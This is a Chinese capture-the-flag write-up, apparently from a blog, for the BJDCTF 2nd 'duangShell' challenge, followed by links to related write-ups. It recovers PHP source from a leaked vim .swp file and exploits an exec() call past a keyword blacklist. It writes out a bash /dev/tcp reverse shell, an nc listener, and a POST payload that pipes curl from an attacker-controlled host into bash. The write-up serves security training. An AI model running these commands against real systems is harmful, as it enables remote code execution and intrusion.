[BJDCTF 2nd]duangShell
[BJDCTF 2nd]duangShell
点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件
该文件产生的原因是:使用vi编辑器打开文件时,会生成一个.文件名.swp的备份文件,防止意外退出等情况导致文件内容丢失。产生原因主要是管理员在web目录下修改代码文件,导致生成了.swp备份文件。
我们使用vim -r 文件名 来恢复内容,然后按下任意键就可以看到其中的代码了。
windows下我在git命令行里面进行操作的,
源代码如下:
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl'); {
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
} {echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
} ~ }
观察源代码之后发现是绕过过滤之后命令执行的题目
因为过滤了$符号,所以不能采用这种黑名单拼接的方式绕过
a=ca;b=t;c=flag;$ab $c
禁用了base64之后不能使用base64编码绕过
`echo "Y2F0IGZsYWc="|base64 -d`
又想了一些奇怪的姿势,着实不行,看师傅们的博客吧。
这道题用到的是反弹shell,又涨知识了,关于反弹shell可以看先知上的这两篇文章:
接着我们申请一个小号,在basic开启一台内网主机,默认好像apache服务已经开启了,在/var/www/html 下写入反弹shell
bash -i >& /dev/tcp/[ip]/[port] 0>&1
这里的ip是内网主机的ip,使用ifconfig可以查看,port自己指定,我这里使用的是4444
接着监听本地的4444端口
nc -lvvp 4444
在题目珍爱网界面,POST数据为:
girl_friend=curl http://[ip]/[文件名]|bash
ip是内网主机的IP,文件名是在html文件夹下写入的反弹shell的文件名,我这里是shell.txt
因为题目没有禁止curl,让珍爱网题目PHP代码里的exec执行curl
访问内网靶机的写有反弹shell命令的文件,使内网靶机获取到反弹shell。
获取到反弹shell之后,题目靶机根目录下有假的flag文件
使用linux 的find命令查找flag
find / -name *flag*
等待一会就能看到真实flag所在的位置了,然后cat查看一下就能获取flag
获得flag
学习了反弹shell的一些操作
参考博客:
https://blog.csdn.net/qq_40648358/article/details/105011659
https://www.cnblogs.com/gaonuoqi/p/12602309.html
https://www.cnblogs.com/Konmu/p/12549038.html#bjdctf-2ndduangshell
[BJDCTF 2nd]duangShell的更多相关文章
- [BJDCTF 2nd]duangShell 反弹shell
[BJDCTF 2nd]duangShell [BJDCTF 2nd]duangShell 点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件 ...
- [BJDCTF 2nd]fake google
[BJDCTF 2nd]fake google 进入页面: 试了几下发现输入xxx,一般会按的格式显示, P3's girlfirend is : xxxxx 然后猜测会不会执行代码,发现可以执行 & ...
- BUUOJ [BJDCTF 2nd]elementmaster
[BJDCTF 2nd]elementmaster 进来就是这样的一个界面,然后就查看源代码 转换之后是Po.php,尝试在URL之后加上看看,出现了一个“.“ ....... 迷惑 然后看了wp 化 ...
- [BJDCTF 2nd]文件探测
[BJDCTF 2nd]文件探测 这两天刷题碰到了一道稍微有难度的题,记录一下,有一些点是未被掌握到的. home.php: <?php setcookie("y1ng", ...
- [BJDCTF 2nd]xss之光
[BJDCTF 2nd]xss之光 进入网址之后发现存在.git泄露,将源码下载下来,只有index.php文件 <?php $a = $_GET['yds_is_so_beautiful']; ...
- [BJDCTF 2nd]Schrödinger && [BJDCTF2020]ZJCTF,不过如此
[BJDCTF 2nd]Schrödinger 点进题目之后是一堆英文,英语不好就不配打CTF了吗(流泪) 复制这一堆英文去谷歌翻译的时候发现隐藏文字 移除test.php文件,访问test.php ...
- [BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip
[BJDCTF2020]Mark loves cat 源码泄露 使用GitHack.py下载源码 下载之后对源代码进行审计 flag.php代码为: <?php $flag = file_get ...
- [BJDCTF 2nd]假猪套天下第一 && [BJDCTF2020]Easy MD5
[BJDCTF 2nd]假猪套天下第一 假猪套是一个梗吗? 进入题目,是一个登录界面,输入admin的话会返回错误,登录不成功,其余用户可以正常登陆 以为是注入,简单测试了一下没有什么效果 抓包查看信 ...
- [BJDCTF 2nd]old-hack && [GXYCTF2019]禁止套娃
[BJDCTF 2nd]old-hack 页面很有意思 同时也告诉了我们是THINKPHP5,我们只需要寻找THINKPHP5的漏洞就可以了. https://www.codercto.com/a/5 ...
随机推荐
- GAMES101系列笔记一 图形学概述与线性代数入门
概述+线性代数 为什么学习图形学? Computer Graphics is AWESOME! 主要涉及内容: 光栅化 曲线和网格 光线追踪 动画与模拟 Differences between CG ...
- 7.1range函数和冒泡排序
range函数和冒泡排序 一.range函数 在Python开发应用中 range函数相当重要,也比较常用: 首先看range函数的原型: range(start, end, scan) 参数 ...
- JS基础算法题(二)
1.1 数组去重的五种方法 数组去重:将数组中重复的元素去掉 JS数组没有删除具体元素的删除(只能删掉值,删不掉元素的索引),可以使用另外一个结构来进行存储 新数组 新对象 JS数组虽然本质可以删除第 ...
- VBA_headers_mapping
Header Mapping--应对 Report Headers 的变化 Author : Collin_PXY 背景 在 RPA工作中,稳定的规则非常重要,因为 RPA项目就是基于规则而进行的,但 ...
- 前端性能优化之 gzip+cache-control
刚刚在Node.js环境下使用gzippo模块进行了测试. 使用gzip的压缩率惊人的好,达到了50%以上. 再加上express的staticCache,配合cache-control max-ag ...
- flex-shrink值的计算
flex-shrink为弹性盒模型中,当弹性项不断行,并且所有弹性项的宽度只和大于弹性盒模型的可分配空间时,弹性项的收缩程度. 找到英文资料对flex-shrink的定义描述: flex-shrink ...
- [MIT6.006] 4. Heaps and Heap Sort 堆,堆排序
第4节课仍然是讲排序,但介绍的是一种很高效的堆排序. 在编程过程中,有时候会需要进行extrat_max的操作,即从一个数列里挨个抽取最大值并将其它从原数列中移除.而排序问题也可以看作是一个extra ...
- select限制之文件描述符限制
1.一个进能够打开的最大文件描述符限制.可以通过两种方式修改ulimit -n :获取最大文件描述符个数ulimit -n 2048:修改为2048个 该限制的测试代码: 客户端程序: /* 1.se ...
- OLTP与OLAP分析与比较
(本文转载自Super_Mu的博客https://www.cnblogs.com/hhandbibi/p/7118740.html) 1.OLTP与OLAP的介绍 数据处理大致可以分成两大类:联机事务 ...
- Python_微信开发
<!-- 发消息功能 --> 0.微信开发的2个库 pip install werobot pip install 1.新建项目 2.项目下新建 robot 的app 3.写robot.p ...